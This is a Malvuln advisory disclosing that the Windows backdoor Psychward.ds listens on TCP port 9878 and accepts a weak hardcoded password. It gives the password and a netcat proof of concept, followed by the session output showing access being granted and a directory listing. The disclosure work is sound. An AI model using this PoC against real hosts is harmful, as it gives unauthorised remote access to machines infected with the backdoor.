Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/9e22514c9b0e74c7fcb07b7c091f6123.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Psychward.ds
Vulnerability: Weak Hardcoded Password
Description: The malware listens on TCP port 9878 and requires a password for remote user access. However, the backdoors password "nivag" is weak and hardcoded in plaintext within the executable.
Type: PE32
MD5: 9e22514c9b0e74c7fcb07b7c091f6123 
Vuln ID: MVID-2021-0219
Disclosure: 05/18/2021

Exploit/PoC:
nc64.exe x.x.x.x 9878
connected 05/18/21 09:39:43. version 0.2.1
pwd nivag
password accepted
dir
<..>
<addins>
<appcompat>
<apppatch>
<AppReadiness>
assembly             0
Backdoor.Win32.Psychward.ds.9e22514c9b0e74c7fcb07b7c091f6123.exe 51433
<bcastdvr>
bfsvc.exe            65536
BitLockerDiscoveryVolumeContents 0
<Boot>
bootstat.dat         67584
<Branding>
<CbsTemp>
<Containers>
<CSC>
<Cursors>
<debug>
<DeliveryOptimization>
diagerr.xml          7623
<diagnostics>
diagwrn.xml          7623
<DigitalLocker>
Downloaded Program Files 0
ELAMBKUP             0
<en-US>
Enterprise.xml       35990
explorer.exe         3904296
Fonts                0
<GameBarPresenceWriter>
<Globalization>
<Help>
HelpPane.exe         976896


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